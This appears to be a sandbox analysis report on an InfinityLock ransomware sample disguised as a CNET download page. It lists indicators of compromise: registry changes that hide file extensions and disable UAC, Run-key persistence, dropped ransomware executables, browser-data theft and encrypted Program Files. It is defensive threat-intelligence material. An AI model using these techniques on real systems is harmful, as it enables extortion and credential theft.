infinitylock | 9110c6498cd6c64f7035ea0f915d1fa51fce1775c5282587c2e21d5dab1c9bd6

Analysis

max time kernel
550s
max time network
545s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25-03-2024 21:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Free Software Downloads and Reviews for Windows, Android, Mac, and iOS – CNET Downloadrr.html
Size

827KB
MD5

e7a7046d8aed5ee76856b037c7a6459e
SHA1

de207e6ef6cc6bcfe2b498dee3cea5364826a829
SHA256

9110c6498cd6c64f7035ea0f915d1fa51fce1775c5282587c2e21d5dab1c9bd6
SHA512

16f9f606fb64420d5fa8a3e48798a084b495a07663fa0bce5d1580ace5378afabf1211813abbf901ef70c6bc41fd6e95bdecd2da3cd81ef8984d5d2b116da672
SSDEEP

12288:hhLhDIPdQiaLW9vqXkS3cY9r7QeQIOEvB8SRHrLTX8HLEfxtM1V+DNFZleSBvFFj:hhSPdQiaLW9vqjWq/omTiRw

Score

10^/10

infinitylock evasion persistence ransomware spyware stealer trojan

Malware Config

Signatures

InfinityLock Ransomware
Also known as InfinityCrypt. Based on the open-source HiddenTear ransomware.
ransomware infinitylock

Modifies visibility of file extensions in Explorer 2 TTPs 64 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

UAC bypass 3 TTPs 64 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Processes:

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Renames multiple (73) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Downloads MZ/PE file
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

VuUcUoEc.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation VuUcUoEc.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation	VuUcUoEc.exe

Executes dropped EXE 64 IoCs

Processes:

InfinityCrypt.exeInfinityCrypt.exePolyRansom.exeMuMUgwks.exeVuUcUoEc.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exePolyRansom.exe

pid	process
2608	InfinityCrypt.exe
3676	InfinityCrypt.exe
5940	PolyRansom.exe
5744	MuMUgwks.exe
1012	VuUcUoEc.exe
4804	PolyRansom.exe
1500	PolyRansom.exe
6024	PolyRansom.exe
4912	PolyRansom.exe
856	PolyRansom.exe
5564	PolyRansom.exe
4068	PolyRansom.exe
5468	PolyRansom.exe
5604	PolyRansom.exe
1464	PolyRansom.exe
3460	PolyRansom.exe
4440	PolyRansom.exe
2032	PolyRansom.exe
5648	PolyRansom.exe
5604	PolyRansom.exe
4344	PolyRansom.exe
1632	PolyRansom.exe
4388	PolyRansom.exe
5280	PolyRansom.exe
5380	PolyRansom.exe
5856	PolyRansom.exe
6092	PolyRansom.exe
4356	PolyRansom.exe
700	PolyRansom.exe
1464	PolyRansom.exe
3188	PolyRansom.exe
4200	PolyRansom.exe
2412	PolyRansom.exe
4360	PolyRansom.exe
5916	PolyRansom.exe
3184	PolyRansom.exe
2316	PolyRansom.exe
1348	PolyRansom.exe
3812	PolyRansom.exe
3816	PolyRansom.exe
1672	PolyRansom.exe
5512	PolyRansom.exe
4800	PolyRansom.exe
4748	PolyRansom.exe
4732	PolyRansom.exe
5352	PolyRansom.exe
184	PolyRansom.exe
2356	PolyRansom.exe
1576	PolyRansom.exe
4388	PolyRansom.exe
3832	PolyRansom.exe
2784	PolyRansom.exe
184	PolyRansom.exe
5784	PolyRansom.exe
6024	PolyRansom.exe
5736	PolyRansom.exe
5780	PolyRansom.exe
5400	PolyRansom.exe
3184	PolyRansom.exe
4944	PolyRansom.exe
788	PolyRansom.exe
4744	PolyRansom.exe
1980	PolyRansom.exe
896	PolyRansom.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

PolyRansom.exeVuUcUoEc.exeMuMUgwks.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\VuUcUoEc.exe = "C:\\ProgramData\\qosEEIgA\\VuUcUoEc.exe"	PolyRansom.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\VuUcUoEc.exe = "C:\\ProgramData\\qosEEIgA\\VuUcUoEc.exe"	VuUcUoEc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MuMUgwks.exe = "C:\\Users\\Admin\\YocoMYsE\\MuMUgwks.exe"	MuMUgwks.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MuMUgwks.exe = "C:\\Users\\Admin\\YocoMYsE\\MuMUgwks.exe"	PolyRansom.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

226 raw.githubusercontent.com
227 raw.githubusercontent.com
Drops file in System32 directory 2 IoCs

Processes:

VuUcUoEc.exe

description ioc process

File created C:\Windows\SysWOW64\shell32.dll.exe VuUcUoEc.exe
File opened for modification C:\Windows\SysWOW64\shell32.dll.exe VuUcUoEc.exe

flow	ioc
226	raw.githubusercontent.com
227	raw.githubusercontent.com

description	ioc	process
File created	C:\Windows\SysWOW64\shell32.dll.exe	VuUcUoEc.exe
File opened for modification	C:\Windows\SysWOW64\shell32.dll.exe	VuUcUoEc.exe

Drops file in Program Files directory 64 IoCs

Processes:

InfinityCrypt.exeInfinityCrypt.exe

description	ioc	process
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\selector.js.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\bg_patterns_header.png.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\goopdateres_hu.dll.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\LightTheme.acrotheme.E99F1BA924953849D5AC7561E2F3068100A4011A5B3B0313C334F59CB1AEE5A4	InfinityCrypt.exe
